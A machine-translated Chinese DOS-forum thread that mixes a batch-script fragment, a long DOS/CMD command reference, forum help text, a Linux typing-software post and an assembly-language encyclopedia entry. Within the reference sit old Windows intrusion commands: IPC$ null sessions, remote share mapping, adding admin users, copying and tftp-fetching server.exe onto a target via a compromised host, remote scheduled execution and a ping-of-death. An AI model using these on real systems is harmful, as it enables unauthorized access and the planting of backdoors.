echo "Application Id:" %%A
for %%S in (%DATA_PROC_SUBFOLDER%) do (
echo "Sub-folder:" %%S
mkdir %DATA_HOME%\%%C\%JOB_TYPE_IOD%\%%B\%%A\%%S
)
)
)
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
mkdir %LOG_HOME%\%%C\%JOB_TYPE_EOD%\%%A\
)
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
mkdir %LOG_HOME%\%%C\%JOB_TYPE_IOD%\%%A\
)
for %%M in (%MSG_TYPE_LIST%) do (
echo "Message Type:" %%M
for %%T in (%APP_LIST_OTHER%) do (
echo "Internation and Third Party Application Id:" %%T
mkdir %DATA_BACKUP_HOME%\online\%%C\%%T\%%M
)
)
)
echo off
pause
Baidu
DOS (DOS Command Explanation) Edit
The most frequently used thing we encounter when using a computer is DOS. DOS is the abbreviation of Disk Operating System in English, meaning "Disk Operating System". As the name suggests, DOS is mainly a disk-oriented system software. To put it simply, DOS is a collection of commands given by humans to the machine. It is some command sets stored in the machine hardware. With DOS, we can more easily understand how to give commands to the machine. We don't need to deeply understand the hardware structure of the machine, nor do we need to memorize those boring binary machine commands. We can easily complete most daily operations just through some DOS commands close to English. In addition, DOS can also effectively manage various software and hardware resources under its control, and reasonably schedule them. All software and hardware are under the monitoring and management of DOS, and operate in an orderly manner.
Chinese Name: "Disk Operating System"
English Name: Disk Operating System
Abbreviation: DOS
Essence: Disk-oriented system software
Branches: Microsoft Win9x series, FreeDOS, PCDOS, etc.
Table of Contents
1. Commonly Used Commands
2. Less Commonly Used Commands
3. CMD Commands
4. Application Examples
DOS is an operating system popular in the late 20th century. It is a disk-oriented system software. It has a very wide range of uses. The famous Windows 98 is based on it. Currently, DOS is still active, such as FreeDOS.
Commonly Used Commands Edit
1. dir
- No parameters: View the files and folders in the current directory.
- /s: View the files and folders in the current directory and all its subdirectories.
- /a: View all files including hidden files.
- /ah: Only display hidden files.
- /w: Display files and folders in a compact way (5 files per line).
- /p: Display in page mode (automatically pause after displaying one page).
- |more: The symbol in front is the one above "\", called the redirection symbol, which outputs the result of one command as the parameter of another command. more is also a command. The result of dir /w |more is the same as that of dir /w /p.
- Other parameters can be viewed using: dir /?
2. cd
- cd directory name: Enter a specific directory. If there is a directory displayed as: abcdef ghi, enter: cd abcdef.ghi to enter that directory.
- cd\: Return to the root directory.
- cd..: Return to the previous level directory.
3. md rd
- md directory name: Create a specific folder. (In DOS, it is habitually called a directory, and in Windows, it is called a folder.)
- rd directory name: Delete a specific folder.
4. cls
- Clear the screen. Clear all displayed content on the screen, leaving only the path before the CLS command.
5. copy
- copy path\file name path\file name: Copy a file to another place.
6. move
- move path\file name path\file name: Move a file (that is, copy + delete) to another place.
7. del
- del file name: Delete a file.
- del *.*: Delete all files in the current folder.
- del cannot delete folders.
8. deltree
- Delete a folder and all its subfolders and files below it. Be careful not to use it randomly.
9. format
- format x: x represents the drive letter, format a partition. In DOS, it is formatted with the FAT file system. When installing Windows 2000, it will ask if you want to convert to NTFS.
10. type
- type text file name: Display the content of the text file.
11. edit
- Actually, this is a small program used for editing text files.
12. ren
- ren old file name new file name: Rename a file.
mem: View memory status
more: Display in pages
move: Move files, change directory names
rd: Delete directories
ren: Change file names
type: Display file content
sys: Make a DOS system disk
xcopy: Copy directories and files
attrib: Set file attributes
chkdsk: Check the disk
date: Display and modify the date
defrag: Defragment the disk
doskey: Reinvoke DOS commands
emm386: Extended memory management
fdisk: Partition the hard disk
help: Help
label: Set the volume label
lh: Load the program into the upper memory
memmaker: Memory optimization management
msd: System detection
path: Set the search directory
prempt: Set the prompt
restore: Restore backup files
time: Display and modify the time
scandisk: Detect and repair the disk
set: Set environment variables
smartdrv: Set the disk accelerator
undelete: Recover deleted files
ftp: Upload or download remote files
telnet: Remote login
Detailed Introduction of Commonly Used Commands:
3.1. Dir
- Display the list of directory files and subdirectories.
- Wildcards (? and *) can be used.? represents matching one character, * represents matching any characters. *.suffix specifies the files to be viewed with the suffix. The above can also be ".suffix", for example, dir *.exe is equivalent to dir.exe.
- /p: Display one list screen at a time. Press any key on the keyboard to view the next screen.
- /w: Display the list in wide format, with up to 5 file names or directory names per line.
- /s: List each specified file name that appears in the specified directory and all subdirectories. Much faster than the search in the win environment.
- dir *.* -> a.txt: Write the current directory file list to a.txt.
- dir *.* /s -> a.txt: Write the current directory file list to a.txt, including files in subdirectories.
3.2. Attrib
- Display, set, or delete the read-only, archive, system, and hidden attributes assigned to files or directories. If used without parameters, attrib will display the attributes of all files in the current directory.
- +r: Set the read-only attribute.
- -r: Clear the read-only attribute.
- +a: Set the archive file attribute.
- -a: Clear the archive file attribute.
- +s: Set the system attribute.
- -s: Clear the system attribute.
- +h: Set the hidden attribute.
- -h: Clear the hidden attribute.
3.3. Cl*
- Clear all information displayed in the command prompt window and return an empty window, that is, "clear screen".
3.4. **it
- Exit the current command interpreter and return to the system.
3.5. format
- Format
- /q: Perform a quick format. Delete the file table and root directory of the previously formatted volume, but do not scan the damaged areas between sectors. Using the /q command line option should only format a previously formatted intact volume.
3.6. Ipconfig
- Display all current TCP/IP network configuration values, refresh the Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings. Using ipconfig without parameters can display the IP address, subnet mask, and default gateway of all adapters.
- /all: Display the complete TCP/IP configuration information of all adapters.
- ipconfig is equivalent to winipcfg, which is available on ME, 98, and 95. Although Windows XP does not provide a graphical interface like the winipcfg command, you can use "Network Connections" to view and update the IP address. To do this, open Network Connections, right-click a network connection, click "Status", and then click the "Support" tab.
- This command is most suitable for computers configured to obtain an IP address automatically. It allows users to determine which TCP/IP configuration values are configured by DHCP, Automatic Private IP Address (APIPA), and other configurations.
3.7. md
- Create a directory or subdirectory.
3.8. Move
- Move one or more files from one directory to the specified directory.
3.9. Nbtstat
- Display the NetBIOS statistics, NetBIOS name table, and NetBIOS name cache of the local computer and remote computer based on the TCP/IP (NetBT) protocol. Nbtstat can refresh the NetBIOS name cache and the registered Windows Internet Name Service (WINS) name. Using nbtstat without parameters displays help. The nbtstat command line parameters are case-sensitive.
- -a remotename: Display the NetBIOS name table of the remote computer, where RemoteName is the NetBIOS computer name of the remote computer.
- -A IPAddress: Display the NetBIOS name table of the remote computer, whose name is specified by the IP address of the remote computer (separated by periods).
3.10. Netstat
- Display active TCP connections, ports listened by the computer, Ethernet statistics, IP routing table, IPv4 statistics (for IP, ICMP, TCP, and UDP protocols), and IPv6 statistics (for IPv6, ICMPv6, TCP over IPv6, and UDP over IPv6 protocols). When used without parameters, netstat displays active TCP connections.
- -a: Display all active TCP connections and TCP and U** ports listened by the computer.
3.11. *ing
- Verify the IP-level connection with another TCP/IP computer by sending an "Internet Control Message Protocol (ICMP)" echo request message. The reception of echo response messages will be displayed together with the number of round-trip processes. Ping is the main TCP/IP command for detecting network connectivity, reachability, and name resolution problems. If used without parameters, ping displays help. Name and IP address resolution are its simplest applications and also the most used.
- -t: Specify that ping can continuously send echo request messages to the destination until interrupted. To interrupt and display statistics, press CTRL-BREAK. To interrupt and exit ping, press CTRL-C.
- -lSize: Specify the length (in bytes) of the "data" field in the sent echo request message. The default is 32. The maximum value of size is 65,527.
3.12. Rename (Ren)
- Change the name of a file. For example, ren *.abc *.cba.
3.13. Set
- Display, set, or delete environment variables. If there are no parameters, the set command will display the current environment settings.
3.14. Shutdown
- Allow you to shut down or restart the local or remote computer. If no parameters are used, shutdown will log off the current user.
- -m ComputerName: Specify the computer to be shut down.
- -t xx: Set the timer for system shutdown to xx seconds. The default is 20 seconds.
- -l: Log off the current user, which is the default setting. -m ComputerName takes precedence.
- -s: Shut down the local computer.
- -r: Restart after shutting down.
- -a: Abort the shutdown. The system will ignore other parameters except -l and ComputerName. You can only use -a during the timeout period.
3.15. System File Checker (sfc)
- Only available in win, scan and verify all protected system files after restarting the computer.
- /scannow: Immediately scan all protected system files.
- /scanonce: Scan all protected system files once.
- /purgecache: Immediately clear the "Windows File Protection" file cache and scan all protected system files.
- /cachesize=x: Set the size of the "Windows File Protection" file cache in MB.
3.16. type
- Display the content of a text file. Use the type command to view a text file or a bat file without modifying the file.
3.17. Tree
- Graphically display the directory structure of a path or drive.
3.18. Xcopy
- Copy files and directories, including subdirectories.
- /s: Copy non-empty directories and subdirectories. If /s is omitted, xcopy will work in one directory.
- /e: Copy all subdirectories, including empty directories.
3.19. copy
- Copy one or more files from one location to another.
3.20. del
- Delete the specified file.
FTP and bat batch commands, net, and telnet are not described here due to too many subcommands, but these are all commonly used.
Less Commonly Used Commands Edit
append: Set the non-executable file path
debug: Random debugging program
diskcomp: Disk comparison
expand: Restore DOS files
fasthelp: Quickly display help information
fc: File comparison
interink: Start the server
intersvr: Start the client
qbasic: Basic integrated environment
setver: Set the version
share: File sharing
subst: Path substitution
tree: List directory tree
unformat: Restore the formatted disk
vsafe: Anti-virus
ver: Display the DOS version number
vol: Display the disk volume label
ctty: Change the control device
Detailed Explanation of Commonly Used DOS Commands
dir: List file names
deltree: Delete directory tree
cls: Clear screen
cd: Change current directory
copy: Copy file
diskcopy: Copy disk
del: Delete file
format: Format disk
edit: Text edit
mem: View memory status
md: Create subdirectory
move: Move file, change directory name
more: Display in pages
type: Display file content
rd: Delete directory
sys: Make DOS system disk
ren: Change file name
xcopy: Copy directory and file
chkdsk: Check disk
attrib: Set file attribute
fdisk: Partition hard disk
date: Display and modify date
label: Set volume label
defrag: Defragment disk
msd: System detection
path: Set search directory
share: File sharing
memmaker: Memory optimization management
help: Help
restore: Restore backup file
set: Set environment variable
time: Display and modify time
tree: List directory tree
debug: Random debugging program
doskey: Reinvoke DOS command
prempt: Set prompt
undelete: Recover deleted file
scandisk: Detect and repair disk
diskcomp: Disk comparison
append: Set non-executable file path
expand: Restore DOS file
fasthelp: Quickly display help information
fc: File comparison
interink: Start server
setver: Set version
intersvr: Start client
subst: Path substitution
qbasic: Basic integrated environment
vsafe: Anti-virus
unformat: Restore formatted disk
ver: Display DOS version number
smartdrv: Set disk accelerator
vol: Display disk volume label
lh: Load program into upper memory
ctty: Change control device
emm386: Extended memory management
CMD Commands Edit
net use \\ip\ipc$ " " /user:" " : Establish an IPC empty connection
net use \\ip\ipc$ "password" /user:"username" : Establish an IPC non-empty connection
net use h: \\ip\c$ "password" /user:"username" : Directly log in and map the other party's C: to local as H:
net use h: \\ip\c$ : Log in and map the other party's C: to local as H:
net use \\ip\ipc$ /del : Delete the IPC connection
net use h: /del : Delete the mapping of the other party to local as H:
net user username password /add : Create a user
net user username/del : Delete a user
net user guest /active:yes : Activate the guest user
net user : View which users there are
net user account name : View the attributes of the account
net localgroup ***istrators username /add : Add "user" to the administrator to make it have administrator privileges. Note: ***istrator is followed by s in plural.
net start : View which services are started
net start service name : Start a service; (e.g.: net start telnet, net start schedule)
net stop service name : Stop a service
net time \\target ip : View the other party's time
net time \\target ip /set : Set the local computer time to be synchronized with the time of the "target IP" host. Adding the parameter /yes can cancel the confirmation information.
net view : View which shares are enabled in the local LAN
net view \\ip : View which shares are enabled in the other party's LAN
net config : Display the system network settings
net logoff : Disconnect the shared connection
net pause service name : Pause a service
net send ip "text information" : Send information to the other party
net ver : The network connection type and information being used in the LAN
net share : View the shares enabled locally
net share ipc$ : Enable the ipc$ share
net share ipc$ /del : Delete the ipc$ share
net share c$ /del : Delete the C: share
net user guest 12345 : Log in with the guest user and change the password to 12345
net password password : Change the system login password
netstat -a : View which ports are enabled. Commonly used netstat -an
netstat -n : View the network connection situation of the port. Commonly used netstat -an
netstat -v : View the work being done
netstat -p protocol name : Example: netstat -p tcq/ip : View the usage of a protocol (view the usage of the tcp/ip protocol)
netstat -s : View the usage of all currently used protocols
nbtstat -A ip : If one of the ports from 136 to 139 of the other party is open, you can view the user name that the other party recently logged in (the user name is before 03). Note: The parameter -A should be uppercase.
tracert -parameter ip (or computer name) : Trace the route (data packet). The parameter: "-w number" is used to set the timeout interval.
ping ip (or domain name) : Send data with a default size of 32 bytes to the other party's host. Parameters: "-l packet size"; "-n send data times"; "-t" means keep pinging.
ping -t -l 65550 ip : Death ping (send a file larger than 64K and keep pinging to become death ping)
ipconfig (winipcfg) : For windows NT and XP (windows 95 98) to view the local IP address. ipconfig can use the parameter "/all" to display all configuration information.
tlist -t : Display processes in a tree list (an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
kill -F process name : Forcefully end a process with the -F parameter (an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
del -F file name : Delete a read-only file with the -F parameter. /AR, /AH, /AS, /AA respectively mean delete read-only, hidden, system, archive files. /A-R, /A-H, /A-S, /A-A mean delete files except read-only, hidden, system, archive. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/A-S *.*" means delete all files except system files in the current directory.
del /S /Q directory or use: rmdir /s /Q directory : /S deletes the directory and all subdirectories and files under the directory. At the same time, using the parameter /Q can cancel the system confirmation during the deletion operation and directly delete. (The two commands have the same function)
move drive letter\path\file name to move the file path\moved file name : Move the file. Using the parameter /y will cancel the prompt to confirm that there is the same file in the moving directory and directly overwrite.
fc one.txt two.txt > 3st.txt : Compare two files and output the differences to the 3st.txt file. "> " and "> >" are redirection commands.
at id number : Start a registered scheduled task
at /delete : Stop all scheduled tasks. Using the parameter /yes will directly stop without confirmation.
at id number /delete : Stop a registered scheduled task
at : View all scheduled tasks
at \\ip time program name (or a command) /r : Run a program of the other party at a certain time and restart the computer.
finger username @host : View which users have recently logged in.
telnet ip port : Remotely log in to the server. The default port is 23.
open ip : Connect to IP (belongs to the command after telnet login)
telnet : Type telnet directly on the local machine to enter the local telnet.
copy path\file name1 path\file name2 /y : Copy file 1 to the specified directory as file 2. Using the parameter /y will directly cancel the confirmation that you want to rewrite an existing directory file.
copy c:\srv.exe \\ip\***$ : Copy the local c:\srv.exe to the other party's ***.
cppy 1st.jpg/b+2st.txt/a 3st.jpg : Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg. Note: The file header of 2st.txt should be empty for three rows. Parameters: /b refers to binary file, /a refers to ASCII format file.
copy \\ip\***$\svv.exe c:\ or: copy\\ip\***$\*.* : Copy the srv.exe file (all files) in the other party's ***i$ share to the local C:
xcopy file or directory tree to be copied target address\directory name : Copy files and directory tree. Using the parameter /Y will not prompt to overwrite the same file.
tftp -i my IP (use the meat machine as a jumper, use the meat machine IP here) get server.exe c:\server.exe : After logging in, download the server.exe of "IP" to the target host c:\server.exe. Parameter: -i refers to transmitting in binary mode. Use it when transmitting executable files. If /i is not added, it will be transmitted in ASCII mode (text file mode).
tftp -i target IP put c:\server.exe : After logging in, upload the local c:\server.exe to the host.
ftp ip port : Used to upload files to the server or perform file operations. The default port is 21. bin refers to transmitting in binary mode (for executable files); the default is transmitting in ASCII format (for text files).
route print : Display the IP route. It will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface.
arp : View and process the ARP cache. ARP is the meaning of name resolution, responsible for resolving an IP into a physical MAC address. arp -a will display all information.
start program name or command /max or /min : Open a new window and run a program or command in maximized (minimized) mode.
mem : View CPU usage.
attrib file name (directory name) : View the attributes of a certain file (directory).
attrib file name -A -R -S -H or +A +R +S +H : Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute.
dir : View files. Parameters: /Q displays which user the file and directory belong to the system, /T:C displays the file creation time, /T:A displays the last access time of the file, /T:W displays the last modification time.
date /t, time /t : Using this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, and you don't need to enter a new date and time.
set specified environment variable name=character to be assigned to the variable : Set the environment variable.
set : Display all current environment variables.
set p (or other characters) : Display all environment variables starting with the character p (or other characters).
pause : Pause the batch processing program and display: Press any key to continue....
if : Perform conditional processing in the batch processing program (more instructions are shown in if command and variables)
goto label : Guide cmd.exe to the line with the label in the batch processing program (the label must be on a separate line and start with a colon, for example: ":start" label)
call path\batch processing file name : Call another batch processing program from the batch processing program (more instructions are shown in call /?)
for : Execute a specific command for each file in a group of files (more instructions are shown in for command and variables)
echo on or off : Turn on or off echo. Just using echo without parameters will display the current echo setting.
echo information : Display information on the screen.
echo information >> pass.txt : Save "information" to the pass.txt file.
findstr "Hello" aa.txt : Find the string hello in the aa.txt file.
find file name : Find a certain file.
title title name : Change the title name of the CMD window.
color color value : Set the foreground and background colors of the cmd console; 0=black, 1=blue, 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=gray, 9=light blue, A=light green, B=light light green, C=light red, D=light purple, E=light yellow, F=bright white.
prompt name : Change the displayed command prompt of cmd.exe (unify C:\, D:\ to: EntSky\ )
ver : Display the version information in the DOS window.
winver : Pop up a window to display version information (memory size, system version, patch version, computer name)
format drive letter /FS:type : Format the disk. Type: FAT, FAT32, NTFS. Example: Format D: /FS:NTFS.
md directory name : Create a directory.
replace source file file directory to be replaced : Replace the file.
ren original file name new file name : Rename the file.
tree : Display the directory in a tree structure. Using the parameter -f will list the file names in each folder.
type file name : Display the content of the text file.
more file name : Display the output file screen by screen.
doskey locked command=character :
doskey unlocked command= : Provide a locked command (edit command line, reinvoke win2k command, and create macro) for DOS. For example: Lock the dir command: doskey dir=entsky (cannot use doskey dir=dir); Unlock: doskey dir=
taskmgr : Bring up the task manager.
chkdsk /F D: : Check the disk D and display the status report; add the parameter /f and repair the errors on the disk.
tlntadmn telnt service admn, type tlntadmn and select 3, then select 8, you can change the telnet service default port 23 to any other port.
exit : Exit the cmd.exe program or currently. Using the parameter /B will exit the current batch processing script instead of cmd.exe.
path path\executable file name : Set a path for the executable file.
cmd : Start a win2K command interpreter window. Parameters: /eff, /en close, enable command extension; more detailed instructions are shown in cmd /?
regedit /s registry file name : Import the registry; parameter /S refers to importing in silent mode without any prompts.
regedit /e registry file name : Export the registry.
cacls file name parameter : Display or modify the file access control list (ACL) - for NTFS format. Parameters: /D username: set to refuse a user to access; /P usernameerm: replace the access permission of the specified user; /G usernameerm: grant access permission to the specified user; Perm can be: N no, R read, W write, C change (write), F full control; Example: cacls D:\test.txt /D pub: set d:\test.txt to refuse pub user access.
cacls file name : View the list of access user permissions of the file.
REM text content : Add comments in the batch processing file.
netsh : View or change the local network configuration.
IIS Service Commands:
iisreset /reboot : Restart the win2k computer (but there will be a prompt that the system will restart)
iisreset /start or stop : Start (stop) all Internet services.
iisreset /restart : Stop and then restart all Internet services.
iisreset /status : Display the status of all Internet services.
iisreset /enable or disable : Enable (disable) the restart of Internet services on the local system.
iisreset /rebootonerror : When starting, stopping or restarting Internet services, if an error occurs, the computer will restart.
iisreset /noforce : If the Internet services cannot be stopped, the Internet services will not be forcefully terminated.
iisreset /timeout Val : When the timeout (seconds) is reached and the Internet services are still not stopped, if the /rebootonerror parameter is specified, the computer will restart. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.
FTP Commands: (There are detailed explanation contents later)
The command line format of ftp is:
ftp -v -d -i -n -g -v: Display all response information of the remote server.
-d: Use the debugging mode.
-n: Restrict the automatic login of ftp, that is, do not use the.netrc file.
-g: Cancel the global file name.
help or? : View command instructions.
bye or quit : Terminate the host FTP process and exit the FTP management mode.
pwd : List the current remote host directory.
put or send local file name : Transfer a local file to the remote host.
get or recv : Transfer from the remote host to the local host.
mget : Receive a batch of files from the remote host to the local host.
mput local-files : Transfer a batch of files from the local host to the remote host.
dir or ls : List the files in the current remote host directory. If there is a local file, the result will be written to the local file.
ascii : Set to transfer files in ASCII mode (default value).
bin or image : Set to transfer files in binary mode.
bell : Alert prompt after each file transfer.
cdup : Return to the upper level directory.
close : Interrupt the ftp session with the remote server (corresponding to open).
open host : Establish a connection to the specified ftp server, and the connection port can be specified.
delete : Delete the file in the remote host.
mdelete : Delete a batch of files.
mkdir directory-name : Create a directory in the remote host.
rename : Change the file name in the remote host.
rmdir directory-name : Delete the directory in the remote host.
status : Display the current FTP status.
system : Display the system type of the remote host.
user user-name : Log in to the remote host with another user name.
open host : Re-establish a new connection.
prompt : Interactive prompt mode.
macdef : Define macro commands.
lcd : Change the current working directory of the local host. If it is default, it will go to the current user's HOME directory.
chmod : Change the file permission of the remote host.
case : When ON, when using the MGET command to copy the file name to the local machine, all are converted to lowercase letters.
cd remote-dir : Enter the remote host directory.
cdup : Enter the parent directory of the remote host directory.
! : Execute an interactive shell on the local machine, exit to the ftp environment, such as!ls*.zip.
MYSQL Commands:
mysql -h host address -u username -p password : Connect to MYSQL; if MYSQL is just installed, the super user root has no password. (Example: mysql -h110.110.110.110 -Uroot -P123456. Note: u and root can be added without spaces, and the same for others.)
exit : Exit MYSQL.
mysql*** -u username -p old password password new password : Change the password.
grant select on database.* to username@login host identified by \"password\"; : Add a new user. (Note: Different from above, because the following are commands in the MYSQL environment, so there is a semicolon at the end as the command end.)
show databases; : Display the database list. Initially, there are only two databases: mysql and test. The mysql database is very important. It contains the system information of MYSQL. We change the password and add new users, in fact, it is operated using this database.
use mysql;
show tables; : Display the data tables in the database.
describe table name; : Display the structure of the data table.
create database database name; : Create a database.
use database name;
create table table name (field setting list); : Create a table.
drop database database name;
drop table table name; : Delete the database and table.
delete from table name; : Clear the records in the table.
select * from table name; : Display the records in the table.
mysqldump --opt school>school.bbb : Backup the database; (the command is executed in the \\mysql\\bin directory of DOS); Note: Backup the database school to the school.bbb file. school.bbb is a text file. You can open it and you will find new discoveries.
New Commands in the win2003 System (Practical Part):
shutdown /parameter : Shut down or restart the local or remote host.
Parameter description: /S shut down the host, /R restart the host, /T number set the delay time, ranging from 0 to 180 seconds, /A cancel the boot, /M //IP specify the remote host.
Example: shutdown /r /t 0 restart the local host immediately (no delay).
taskill /parameter process name or process pid : Terminate one or more tasks and processes.
Parameter description: /PID the pid of the process to be terminated. The pid of each process can be obtained using the tasklist command. /IM the process name of the process to be terminated. /F forcefully terminate the process. /T terminate the specified process and its started sub-processes.
tasklist : Display the processes, services, and process identifiers (PID) of each process running on the local and remote host.
Parameter description: /M list the dll files loaded by the current process. /SVC display the service corresponding to each process. Without parameters, it will only list the current processes.
|
|
2016-2-3 11:47 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 4 楼』:
3论坛命令帮助 4楼
使用 LLM 解释/回答一下
3论坛命令帮助 4楼
论坛命令帮助
--------------------
Discuz! 命令提示符 [版本 4.0 Final]
版权所有© 2002-2007 中国DOS联盟。保留所有权利。
您已经登录为 zzz19760225。
如果您想查看帮助信息,请输入“help”。
A:\> help
有关某个命令的详细信息,请键入HELP 命令名 (或 命令名 /?)。
BREAK 设置或清除扩展 Ctrl+C 检测。
CD 显示当前目录名或改变当前目录。
CHCP 显示或设置活动代码页编号。
CLS 清除屏幕。
CMD 启动或刷新命令处理器。
COLOR 设置默认的控制台前景和背景颜色。
DATE 显示当前日期。
DEL 删除文件。
DIR 显示目录内容。
ECHO 显示信息,或将命令回显打开或关上。
EDIT 启动文件编辑器,可用于建立和编辑文本文件的编辑器。
EXIT 退回 Web 界面。
FIND 在文件中搜索字符串。
FONT 列出所有可用字体或改变当前字体。
GOTO 跳转到批处理程序中带标签的行。
HELP 提供命令的帮助信息。
HISTORY 显示命令行历史。
IF 执行条件处理。
MORE 显示文件内容,每次显示一个帖子。
NET 管理当前用户。
PAUSE 暂停执行程序并显示一条消息。
POPD 还原由 PUSHD 保存的当前目录上一次的值。
PROMPT 更改命令提示符。
PUSHD 保存当前目录以供 POPD 命令使用,然后更改目录。
REM 加上注解或说明。
REN 重命名文件。
SET 显示、设置或删除环境变量。
SHIFT 更改批处理文件中可替换参数的位置。
TIME 显示当前时间。
TITLE 设置命令提示窗口的窗口标题。
TYPE 显示文件内容。
VER 显示系统版本。
VOL 显示磁盘卷标和序列号。
提示:如果您已经登录,您可以将这些命令加入到A:\AUTOEXEC.BAT中来自定义命令提示符。
A:\>
----------------
3 Forum Command Help Floor 4
Forum Command Help
--------------------
Discuz! Command Prompt
Copyright © 2002-2007 China DOS Union. All rights reserved.
You are logged in as zzz19760225.
If you want to view help information, enter "help".
A:\> help
For detailed information about a command, type HELP command name (or command name /?).
BREAK Set or clear extended Ctrl+C checking.
CD Display the current directory name or change the current directory.
CHCP Display or set the active code page number.
CLS Clear the screen.
CMD Start or refresh the command processor.
COLOR Set the default console foreground and background colors.
DATE Display the current date.
DEL Delete files.
DIR Display directory contents.
ECHO Display messages, or turn command echoing on or off.
EDIT Start the file editor, an editor that can be used to create and edit text files.
EXIT Return to the Web interface.
FIND Search for a string in files.
FONT List all available fonts or change the current font.
GOTO Jump to a labeled line in a batch program.
HELP Provide help information for commands.
HISTORY Display command line history.
IF Perform conditional processing.
MORE Display file contents, one post at a time.
NET Manage the current user.
PAUSE Pause program execution and display a message.
POPD Restore the previous value of the current directory saved by PUSHD.
PROMPT Change the command prompt.
PUSHD Save the current directory for use by the POPD command, then change the directory.
REM Add comments or explanations.
REN Rename files.
SET Display, set, or delete environment variables.
SHIFT Change the position of replaceable parameters in a batch file.
TIME Display the current time.
TITLE Set the window title of the command prompt window.
TYPE Display file contents.
VER Display the system version.
VOL Display the disk volume label and serial number.
Tip: If you are logged in, you can add these commands to A:\AUTOEXEC.BAT to customize the command prompt.
A:\>
----------------
|
|
2016-2-3 12:16 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 5 楼』:
4linux下三种 打字练习软件 (2012-11-22 18:49:45) 5楼
使用 LLM 解释/回答一下
4linux下三种 打字练习软件 (2012-11-22 18:49:45) 5楼
phoenixbz的网志
http://blog.sina.com.cn/binzeng55319574
linux下三种 打字练习软件 (2012-11-22 18:49:45)
标签: ktouch klavaro typespeed linux打字 it 分类: linux
本为以 fedora 17 操作系统 举例:
yum install ktouch
这款软件个人感觉比金山打字好,如果输入错误不能继续下去,界面比界山好看
----------------
yum install klavaro
设置 键盘USA, qwety
这是游戏
--------------------
yum install Typespeed
这个是打字游戏,但是在终端训练
Three typing practice software under 4linux (2012-11-22 18:49:45)
Floor 5
phoenixbz's blog
http://blog.sina.com.cn/binzeng55319574
Three typing practice software under linux (2012-11-22 18:49:45)
Tags: ktouch klavaro typespeed linux typing it Category: linux
This is taking Fedora 17 operating system as an example:
yum install ktouch
Personally, this software feels better than Kingsoft Typing. If there is an input error, it can't continue. The interface is better than Kingsoft's.
----------------
yum install klavaro
Set keyboard to USA, qwety
This is a game
--------------------
yum install Typespeed
This is a typing game, but it trains in the terminal
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2016-2-3 20:16 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 6 楼』:
5百度汇编 6楼
使用 LLM 解释/回答一下
汇编
编辑词条
该词条缺少基本信息栏、词条分类,补充相关内容帮助词条更加完善!立刻编辑>>
汇编(拼音:huì biān)大多是指汇编语言(Assembly Language),汇编程序。把汇编语言翻译成机器语言的过程称为汇编。在汇编语言中,用助记符(Memoni)代替操作码,用地址符号(Symbol)或标号(Label)代替地址码。这样用符号代替机器语言的二进制码,就把机器语言变成了汇编语言。于是汇编语言亦称为符号语言。用汇编语言编写的程序,机器不能直接识别,要由一种程序将汇编语言翻译成机器语言,这种起翻译作用的程序叫汇编程序,汇编程序是系统软件中语言处理的系统软件。
目
录
1词语解释
2汇编简介
3编译环境
4相关现状
5常用命令
数据传送指令
逻辑指令
移位指令
串处理指令
控制转移指令
过程调用及返回指令
中断指令
处理机控制指令
十进制调整指令
6相关教材
《80x86汇编语言基础教程》
《汇编语言》
《新版汇编语言程序设计》
《汇编语言程序设计》
1 词语解释 编辑
huìbiān
1.动词,把资料或文章等编辑在一起
2.名词,编辑在一起的资料,文献
3.名词,一种计算机语言
2 汇编简介 编辑
汇编语言(AssemblyLanguage)是面向机器的程序设计语言。
汇编语言比机器语言易于读写、易于调试和修改,同时也具有机器语言执行速度快,占内存空间少等优点,但在编写复杂程序时具有明显的局限性,汇编语言依赖于具体的机型,不能通用,也不能在不同机型之间移植。
常说汇编语言过时,是低级语言,并不是说汇编语言要被丢弃,相反,汇编语言仍然是程序员必须了解的语言,甚至在某些行业与领域,汇编是必不可少的,非它不可适用。只是,现在计算机最大的领域为IT软件,也是我们常说的Windows编程,在熟练的程序员手里,使用汇编语言编写的程序,运行效率和性能比用其它语言写的程序优秀数倍,但是代价是需要更长的时间来优化,如果对计算机原理及编程基础不扎实,实在是得不偿失,加上高级语言的优秀与跨平台,一个公司不可能让一个团队使用汇编语言来编写所有的东西,因为这要花上几倍甚至几十倍的时间,不如使用其它语言来完成,只要最终结果不比汇编语言编写的差太多,就能抢先一步完成,这是市场经济下的必然结果。
总之,汇编语言是程序员的必修语言。
目前国内较好的汇编网站是“AoGo汇编小站”。其站长aogo,就是一个在工业方面有所成就的工程师,有意者可多参考。
其次就是罗云彬的汇编站点:这个大概是国内建站时间最长的汇编站点,其编写的《Windows环境下32位汇编语言程序设计》一书。是站长十几年的经验的集合,不妨看看。
熟悉指令,可以尝试破解,加强兴趣,参考看雪学院,国内最好的破解组织,其中看雪与众高手打造的破解书《加密解密完全方案》非常有名。汇编语言是一种低级的程序语言可直接控制硬件。
3 编译环境 编辑
汇编的调试环境总的来说比较少,也很少有非常好的编译器。reallychenchi设计的轻松汇编是一款非常适合初学者的汇编编译器。轻松汇编是一个汇编语言集成开发环境,主要面向汇编语言初学者,也可以用它进行开发。除了普通的编辑功能以外,它还可以自动整理格式、高亮显示和编译、链接、调试汇编程序,非常方便实用。
轻松汇编的最大特点是可以格式整理,就像VC6.0一样,可以设置断点调试,省却了使用者的不少工作。它可以在Win98/2k/XP下运行,是一款很优秀的软件。
4 相关现状 编辑
